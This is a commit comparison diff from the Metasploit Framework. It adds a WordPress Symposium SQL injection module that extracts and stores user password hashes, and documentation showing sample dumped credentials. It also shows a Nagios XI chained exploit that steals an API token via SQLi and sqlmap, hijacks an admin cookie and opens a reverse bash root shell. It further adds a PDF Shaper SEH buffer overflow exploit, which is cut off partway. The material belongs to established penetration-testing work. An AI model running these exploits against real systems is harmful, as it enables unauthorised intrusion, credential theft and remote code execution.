Compare commits
61 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 374763e991 | |||
| ff8141c1b5 | |||
| c65ff2f0f4 | |||
| 11906eb540 | |||
| 41355898fa | |||
| 9325ef8d8f | |||
| 6b5dba72d4 | |||
| 64bc029106 | |||
| 90ec367a99 | |||
| 174cd74900 | |||
| 1e9d80c998 | |||
| b8243b5d10 | |||
| 54684d31bd | |||
| 032312d40b | |||
| 1d6ee7192a | |||
| b0cd28ef4c | |||
| 3e8cdd1f36 | |||
| ec83a861c8 | |||
| ebf5121359 | |||
| 6890e56b30 | |||
| 2a065cd220 | |||
| f13d012ade | |||
| 56505d2cc1 | |||
| c70c3701c5 | |||
| b6bb1995ad | |||
| c31758e0ea | |||
| 530e9a9bc6 | |||
| 5b80c5de6b | |||
| d1be2d735f | |||
| 8f3fab4b1b | |||
| e5db0f4610 | |||
| afed1f465e | |||
| 3c9ebb97be | |||
| 4c50a7c80d | |||
| 1beeb99d44 | |||
| 878779e14c | |||
| b6fe6c1d38 | |||
| 19bcef0c92 | |||
| c39c53b102 | |||
| 8c54b0e5f4 | |||
| 777d5c1820 | |||
| f0b5b5a153 | |||
| a7fa2941a8 | |||
| 4eb109b22f | |||
| f46ca66858 | |||
| ceb7419714 | |||
| fd11e7c4df | |||
| dc64f63517 | |||
| 5284e20a52 | |||
| b7ae7a47be | |||
| ce514ed3e5 | |||
| e0f8d622ec | |||
| b2cc8e2b95 | |||
| 6ae8a2dd2e | |||
| 8c036885bc | |||
| e226047457 | |||
| 920ecf6fc5 | |||
| b3b89a57b5 | |||
| 4bf966f695 | |||
| 9d2355d128 | |||
| 2ad82ff8e3 |
+2
-2
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.13.2)
|
||||
metasploit-framework (4.13.3)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -316,7 +316,7 @@ GEM
|
||||
slop (3.6.0)
|
||||
sqlite3 (1.3.12)
|
||||
sshkey (1.8.0)
|
||||
thor (0.19.1)
|
||||
thor (0.19.4)
|
||||
thread_safe (0.3.5)
|
||||
timecop (0.8.1)
|
||||
tzinfo (1.2.2)
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The auxiliary/admin/http/wp_symposium_sql_injection works for WordPress
|
||||
Symposium plugin before 15.8. The Pro module version has not been verified.
|
||||
|
||||
To download the vulnerable application, you can find it here:
|
||||
https://github.com/wp-plugins/wp-symposium/archive/15.5.1.zip
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/admin/http/wp_symposium_sql_injection```
|
||||
3. Do: ```set RHOST <ip>```
|
||||
4. Set TARGETURI if necessary.
|
||||
5. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example run against WordPress Symposium plugin 15.5.1:
|
||||
|
||||
```
|
||||
msf > use auxiliary/admin/http/wp_symposium_sql_injection
|
||||
msf auxiliary(wp_symposium_sql_injection) > show info
|
||||
|
||||
Name: WordPress Symposium Plugin SQL Injection
|
||||
Module: auxiliary/admin/http/wp_symposium_sql_injection
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Normal
|
||||
Disclosed: 2015-08-18
|
||||
|
||||
Provided by:
|
||||
PizzaHatHacker
|
||||
Matteo Cantoni <goony@nothink.org>
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST yes The target address
|
||||
RPORT 80 yes The target port
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to the wordpress application
|
||||
URI_PLUGIN wp-symposium yes The WordPress Symposium Plugin URI
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
Description:
|
||||
SQL injection vulnerability in the WP Symposium plugin before 15.8
|
||||
for WordPress allows remote attackers to execute arbitrary SQL
|
||||
commands via the size parameter to get_album_item.php.
|
||||
|
||||
References:
|
||||
http://cvedetails.com/cve/2015-6522/
|
||||
https://www.exploit-db.com/exploits/37824
|
||||
|
||||
msf auxiliary(wp_symposium_sql_injection) > set RHOST 1.2.3.4
|
||||
RHOST => 1.2.3.4
|
||||
msf auxiliary(wp_symposium_sql_injection) > set TARGETURI /html/wordpress/
|
||||
TARGETURI => /html/wordpress/
|
||||
msf auxiliary(wp_symposium_sql_injection) > run
|
||||
|
||||
[+] 1.2.3.4:80 - admin $P$ByvWm3Hb653Z50DskJVdUcZZbJ03dJ. admin.foobar@mail.xyz
|
||||
[+] 1.2.3.4:80 - pippo $P$BuTaWvLcEBPseEWONBvihacEqpHa6M/ pippo.foobar@mail.xyz
|
||||
[+] 1.2.3.4:80 - pluto $P$BJAoieYeeCDujy7SPQL1fjDULrtVJ3/ pluto.foobar@mail.xyz
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -28,8 +28,22 @@ steps on the screen to configure the app.
|
||||
Configuration is actually not required to exploit the app, but you should do it
|
||||
anyway.
|
||||
|
||||
## Options
|
||||
|
||||
**USER_ID**
|
||||
|
||||
If you wish to exploit a particular ```USER_ID```, that can be specified here. Default is 1, which is most likely the admin account.
|
||||
|
||||
**API_TOKEN**
|
||||
|
||||
The SQLi included only works for MySQL, which should work in most cases. However, if you experience a different backend, you can enumerate the user
|
||||
table via sqlmap: ```sqlmap -u "http://[ip]/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service=" -p service -T xi_users --dump```.
|
||||
Then you can set the ```USER_ID``` and ```API_TOKEN``` to skip those phases and move on to exploitation. Default is empty. See example below for more usage.
|
||||
|
||||
## Usage
|
||||
|
||||
### Typical Usage
|
||||
|
||||
Just set ```RHOST``` and fire off the module! It's pretty much painless.
|
||||
```set VERBOSE true``` if you want to see details.
|
||||
|
||||
@@ -71,3 +85,103 @@ uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10
|
||||
uname -a
|
||||
Linux localhost.localdomain 2.6.32-573.22.1.el6.x86_64 #1 SMP Wed Mar 23 03:35:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
|
||||
### Emulating a different DB
|
||||
|
||||
#### First we'll attempt the exploit and see what happens.
|
||||
|
||||
```
|
||||
msf exploit(nagios_xi_chained_rce) > show options
|
||||
|
||||
Module options (exploit/linux/http/nagios_xi_chained_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
API_TOKEN no If an API token was already stolen, skip the SQLi
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST 192.168.2.218 yes The target address
|
||||
RPORT 80 yes The target port
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
USER_ID 1 yes User ID in the database to target
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.2.117 yes The listen address
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Nagios XI <= 5.2.7
|
||||
|
||||
|
||||
msf exploit(nagios_xi_chained_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||
[*] Nagios XI version: 5.2.7
|
||||
[*] Getting API token
|
||||
[+] 0 incidents resolved in Nagios IM
|
||||
|
||||
[-] Exploit aborted due to failure: unexpected-reply: API token not found! punt!
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
|
||||
#### Now lets try using sqlmap to enumerate the user table.
|
||||
|
||||
```
|
||||
root@k:~# sqlmap -u "http://192.168.2.218/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service=" -p service -T xi_users --dump
|
||||
...snip...
|
||||
Database: nagiosxi
|
||||
Table: xi_users
|
||||
[2 entries]
|
||||
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
|
||||
| user_id | name | email | enabled | username | password | backend_ticket |
|
||||
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
|
||||
| 2 | admin2 | admin2@admin2.com | 1 | admin2 | c84258e9c39059a89ab77d846ddab909 | 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g |
|
||||
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
|
||||
|
||||
...snip...
|
||||
```
|
||||
|
||||
#### Re-target
|
||||
Now, we can set the ```USER_ID``` and ```API_TOKEN``` (backend_ticket)
|
||||
|
||||
```
|
||||
msf exploit(nagios_xi_chained_rce) > set USER_ID 2
|
||||
USER_ID => 2
|
||||
msf exploit(nagios_xi_chained_rce) > set API_TOKEN 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
|
||||
API_TOKEN => 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
|
||||
msf exploit(nagios_xi_chained_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||
[*] Nagios XI version: 5.2.7
|
||||
[*] Getting admin cookie
|
||||
[+] Admin cookie: nagiosxi=rjs4f9k4299v78hpgq3374q6j6;
|
||||
[+] CSRF token: c53d1f591264a3ea771639a7782627f8
|
||||
[*] Getting monitored host
|
||||
[+] Monitored host: localhost
|
||||
[*] Downloading component
|
||||
[*] Uploading root shell
|
||||
[*] Popping shell!
|
||||
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.218:51032) at 2016-10-10 10:15:08 -0400
|
||||
[*] Cleaning up...
|
||||
[*] rm -rf ../profile
|
||||
[*] unzip -qd .. ../../../../tmp/component-profile.zip
|
||||
[*] chown -R nagios:nagios ../profile
|
||||
[*] rm -f ../../../../tmp/component-ZEaGkiTW.zip
|
||||
|
||||
1138255764
|
||||
NXEqynCVIfLzvpjUkqOovFvuLgsUrtpo
|
||||
CKorOSWlTQEkRoiwCiBqTgylyLQjuWxU
|
||||
oIGZxLofAStLsgsMNaGnQzzMuBYpJUQs
|
||||
fkUlWzVvhurgAATtxKhLSBFCxQaZqjtR
|
||||
QajRDDToeigHGMFdUbaClxkLfJbxqBKv
|
||||
whoami
|
||||
root
|
||||
```
|
||||
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "4.13.2"
|
||||
VERSION = "4.13.3"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -137,7 +137,9 @@ module Exe
|
||||
# .text:004136C1 add eax, 0Ch
|
||||
pattern = "\x64\xA1\x30\x00\x00\x00\x2B\xCA\xD1\xF9\x8B\x40\x0C\x83\xC0\x0C"
|
||||
section = pe.sections.find { |s| s.name.to_s == '.text' }
|
||||
if section && section.encoded.pattern_scan(pattern).blank?
|
||||
if section.nil?
|
||||
return false
|
||||
elsif section && section.encoded.pattern_scan(pattern).blank?
|
||||
return false
|
||||
end
|
||||
|
||||
|
||||
@@ -138,7 +138,7 @@ class Msf::Payload::UUID
|
||||
raise ArgumentError, "Raw UUID must be at least 16 bytes"
|
||||
end
|
||||
|
||||
puid, plat_xor, arch_xor, plat_id, arch_id, tstamp = raw.unpack('A8C4N')
|
||||
puid, plat_xor, arch_xor, plat_id, arch_id, tstamp = raw.unpack('a8C4N')
|
||||
plat = find_platform_name(plat_xor ^ plat_id)
|
||||
arch = find_architecture_name(arch_xor ^ arch_id)
|
||||
time_xor = [plat_xor, arch_xor, plat_xor, arch_xor].pack('C4').unpack('N').first
|
||||
|
||||
@@ -95,7 +95,7 @@ class Console::CommandDispatcher::Core
|
||||
# the platform update feature we can remove some of these conditions
|
||||
if client.platform == 'windows' || client.platform == 'linux' ||
|
||||
client.platform == 'python' || client.platform == 'java' ||
|
||||
client.arch == ARCH_PYTHON || (client.arch == ARCH_JAVA && client.platform != 'android')
|
||||
client.arch == ARCH_PYTHON || client.platform == 'android'
|
||||
# Yet to implement transport hopping for other meterpreters.
|
||||
c["transport"] = "Change the current transport mechanism"
|
||||
|
||||
|
||||
@@ -0,0 +1,150 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress Symposium Plugin SQL Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a SQL injection vulnerability in the WP Symposium plugin
|
||||
before 15.8 for WordPress, which allows remote attackers to extract credentials
|
||||
via the size parameter to get_album_item.php.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'PizzaHatHacker', # Vulnerability discovery
|
||||
'Matteo Cantoni <goony[at]nothink.org>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-6522'],
|
||||
['EDB', '37824']
|
||||
],
|
||||
'DisclosureDate' => 'Aug 18 2015'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI_PLUGIN', [true, 'The WordPress Symposium Plugin URI', 'wp-symposium'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
check_plugin_version_from_readme('wp-symposium', '15.8.0', '15.5.1')
|
||||
end
|
||||
|
||||
def uri_plugin
|
||||
normalize_uri(wordpress_url_plugins, datastore['URI_PLUGIN'], 'get_album_item.php')
|
||||
end
|
||||
|
||||
def send_sql_request(sql_query)
|
||||
uri_complete = normalize_uri(uri_plugin)
|
||||
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri_complete,
|
||||
'vars_get' => { 'size' => sql_query }
|
||||
)
|
||||
|
||||
return nil if res.nil? || res.code != 200 || res.body.nil?
|
||||
|
||||
res.body
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
|
||||
vprint_error("#{peer} - The host was unreachable!")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :nonreplayable_hash,
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run
|
||||
vprint_status("#{peer} - Attempting to connect...")
|
||||
vprint_status("#{peer} - Trying to retrieve the first user id...")
|
||||
first_id = send_sql_request('id from wp_users order by id asc limit 1 ; --')
|
||||
if first_id.nil?
|
||||
vprint_error("#{peer} - Failed to retrieve the first user id... Try with check function!")
|
||||
return
|
||||
else
|
||||
vprint_status("#{peer} - First user-id is '#{first_id}'")
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Trying to retrieve the last user id...")
|
||||
last_id = send_sql_request('id from wp_users order by id desc limit 1 ; --')
|
||||
if last_id.nil?
|
||||
vprint_error("#{peer} - Failed to retrieve the last user id")
|
||||
return
|
||||
else
|
||||
vprint_status("#{peer} - Last user-id is '#{last_id}'")
|
||||
end
|
||||
|
||||
credentials = ""
|
||||
|
||||
vprint_status("#{peer} - Trying to retrieve the users informations...")
|
||||
for user_id in first_id..last_id
|
||||
separator = Rex::Text.rand_text_numeric(7,bad='0')
|
||||
user_info = send_sql_request("concat_ws(#{separator},user_login,user_pass,user_email) from wp_users where id = #{user_id} ; --")
|
||||
|
||||
if user_info.nil?
|
||||
vprint_error("#{peer} - Failed to retrieve the users info")
|
||||
return
|
||||
else
|
||||
values = user_info.split("#{separator}")
|
||||
|
||||
user_login = values[0]
|
||||
user_pass = values[1]
|
||||
user_email = values[2]
|
||||
|
||||
print_good("#{peer} - #{sprintf("%-15s %-34s %s", user_login, user_pass, user_email)}")
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: datastore['RPORT'],
|
||||
service_name: datastore['SSL'] ? 'https' : 'http',
|
||||
user: user_login,
|
||||
password: user_pass,
|
||||
proof: user_email
|
||||
)
|
||||
|
||||
credentials << "#{user_login},#{user_pass},#{user_email}\n"
|
||||
end
|
||||
end
|
||||
|
||||
unless credentials.empty?
|
||||
loot = store_loot("wp_symposium.http","text/plain", rhost, credentials)
|
||||
vprint_status("Credentials saved in: #{loot}")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -60,11 +60,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
print_good("#{rhost}:#{rport} - Server is responsive...")
|
||||
return 1
|
||||
if res
|
||||
print_good("#{rhost}:#{rport} - Server is responsive...")
|
||||
return true
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
|
||||
return
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -12,19 +12,22 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Cisco Network Access Manager Directory Traversal Vulnerability',
|
||||
'Description' => %q{
|
||||
'Name' => 'Cisco Network Access Manager Directory Traversal Vulnerability',
|
||||
'Description' => %q{
|
||||
This module tests whether a directory traversal vulnerablity is present
|
||||
in versions of Cisco Network Access Manager 4.8.x You may wish to change
|
||||
FILE (e.g. passwd or hosts), MAXDIRS and RPORT depending on your environment.
|
||||
},
|
||||
'References' =>
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-3305' ],
|
||||
[ 'OSVDB', '76080']
|
||||
],
|
||||
'Author' => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
'Author' => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true
|
||||
}
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
||||
@@ -83,14 +83,17 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def check_conn?
|
||||
begin
|
||||
res = send_request_cgi('uri' => '/', 'method' => 'GET')
|
||||
vprint_good("Server is responsive...")
|
||||
if res
|
||||
vprint_good("Server is responsive...")
|
||||
return true
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused,
|
||||
::Rex::HostUnreachable,
|
||||
::Rex::ConnectionTimeout,
|
||||
::Rex::ConnectionError,
|
||||
::Errno::EPIPE
|
||||
return
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def enumerate_vpn_groups
|
||||
|
||||
@@ -66,9 +66,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def extract_members(res, url)
|
||||
members = res.body.scan(/<div class="ccm\-profile\-member\-username">(.*)<\/div>/i)
|
||||
members = res.get_html_document.search('div[@class="ccm-profile-member-username"]')
|
||||
|
||||
if members
|
||||
unless members.empty?
|
||||
print_good("#{peer} Extracted #{members.length} entries")
|
||||
|
||||
# separate user data into userID, username and Profile URL
|
||||
@@ -76,13 +76,15 @@ class MetasploitModule < Msf::Auxiliary
|
||||
users = []
|
||||
|
||||
members.each do | mem |
|
||||
userid = mem[0].scan(/\/view\/(\d+)/i)
|
||||
username = mem[0].scan(/">(.+)<\/a>/i)
|
||||
profile = mem[0].scan(/href="(.+)">/i)
|
||||
userid = mem.text.scan(/\/view\/(\d+)/i).flatten.first
|
||||
anchor = mem.at('a')
|
||||
username = anchor.text
|
||||
profile = anchor.attributes['href'].value
|
||||
# add all data to memberlist for table output
|
||||
memberlist.push([userid[0], username[0], profile[0]])
|
||||
|
||||
memberlist.push([userid, username, profile])
|
||||
# add usernames to users array for reporting
|
||||
users.push(username[0])
|
||||
users.push(username)
|
||||
end
|
||||
|
||||
membertbl = Msf::Ui::Console::Table.new(
|
||||
@@ -99,7 +101,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
]})
|
||||
|
||||
memberlist.each do | mem |
|
||||
membertbl << ["#{mem[0].join}", "#{mem[1].join}", "#{mem[2].join}"]
|
||||
membertbl << [mem[0], mem[1], mem[2]]
|
||||
end
|
||||
|
||||
# print table
|
||||
|
||||
@@ -77,6 +77,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
password: pass,
|
||||
proof: auth.body.to_s
|
||||
)
|
||||
return :next_user
|
||||
else
|
||||
print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
|
||||
end
|
||||
|
||||
@@ -46,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
return [nil, nil] if res.nil? || res.get_cookies.empty?
|
||||
|
||||
# Get the session ID from the cookie
|
||||
m = get_cookies.match(/(DOLSESSID_.+);/)
|
||||
m = res.get_cookies.match(/(DOLSESSID_.+);/)
|
||||
id = (m.nil?) ? nil : m[1]
|
||||
|
||||
# Get the token from the decompressed HTTP body response
|
||||
|
||||
@@ -44,6 +44,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'LHOST' => Rex::Socket.source_address
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptInt.new('USER_ID', [true, 'User ID in the database to target', 1]),
|
||||
OptString.new('API_TOKEN', [false, 'If an API token was already stolen, skip the SQLi'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
@@ -69,8 +74,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!')
|
||||
end
|
||||
|
||||
print_status('Getting API token')
|
||||
get_api_token
|
||||
if datastore['API_TOKEN']
|
||||
@api_token = datastore['API_TOKEN']
|
||||
else
|
||||
print_status('Getting API token')
|
||||
get_api_token
|
||||
end
|
||||
print_status('Getting admin cookie')
|
||||
get_admin_cookie
|
||||
print_status('Getting monitored host')
|
||||
@@ -117,13 +126,19 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'vars_get' => {
|
||||
'mode' => 'resolve',
|
||||
'host' => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \
|
||||
'SELECT backend_ticket FROM xi_users WHERE user_id=1' \
|
||||
"SELECT backend_ticket FROM xi_users WHERE user_id=#{datastore['USER_ID']}" \
|
||||
'),FLOOR(RAND(0)*2))x ' \
|
||||
'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '
|
||||
}
|
||||
)
|
||||
|
||||
# default admin token is shorter, ie 27o3b7mu1 shortened to 27o3b7mu
|
||||
# any other user has a longer token, but we cant strip the last char off.
|
||||
# example: 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
|
||||
if res && res.body =~ /Duplicate entry '(.*?).'/
|
||||
if $1.length > 8
|
||||
res.body =~ /Duplicate entry '(.*?)'/
|
||||
end
|
||||
@api_token = $1
|
||||
vprint_good("API token: #{@api_token}")
|
||||
else
|
||||
@@ -136,7 +151,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'method' => 'GET',
|
||||
'uri' => '/nagiosxi/rr.php',
|
||||
'vars_get' => {
|
||||
'uid' => "1-#{Rex::Text.rand_text_alpha(8)}-" +
|
||||
'uid' => "#{datastore['USER_ID']}-#{Rex::Text.rand_text_alpha(8)}-" +
|
||||
Digest::MD5.hexdigest(@api_token)
|
||||
}
|
||||
)
|
||||
|
||||
@@ -371,32 +371,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::PDF
|
||||
include Msf::Exploit::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'PDF Shaper Buffer Overflow',
|
||||
'Description' => %q{
|
||||
PDF Shaper is prone to a security vulnerability when processing PDF files.
|
||||
The vulnerability appear when we use Convert PDF to Image and use a specially
|
||||
crafted PDF file. This module has been tested successfully on Win Xp, Win 7,
|
||||
Win 8, Win 10.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'metacom27[at]gmail.com - twitter.com/m3tac0m', # POC
|
||||
'metacom' # MSF Module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.exploit-db.com/exploits/37760/']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process', # none/process/thread/seh
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2000,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5 and v.3.6>',
|
||||
{
|
||||
'Ret' => 0x00402AC1, # PDFTools.exe
|
||||
'Offset' => 433
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Oct 03 2015',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [false, 'The file name.', 'msf.pdf'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
file_create(make_pdf)
|
||||
end
|
||||
|
||||
def jpeg
|
||||
buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"
|
||||
buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"
|
||||
buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"
|
||||
buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"
|
||||
buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
|
||||
buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"
|
||||
buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
|
||||
buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
|
||||
buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"
|
||||
buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"
|
||||
buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"
|
||||
buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"
|
||||
buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"
|
||||
buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"
|
||||
buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"
|
||||
buffer << rand_text(target['Offset']) # junk
|
||||
buffer << generate_seh_record(target.ret)
|
||||
buffer << payload.encoded
|
||||
buffer << rand_text(2388 - payload.encoded.length)
|
||||
buffer
|
||||
end
|
||||
|
||||
def make_pdf
|
||||
@pdf << header
|
||||
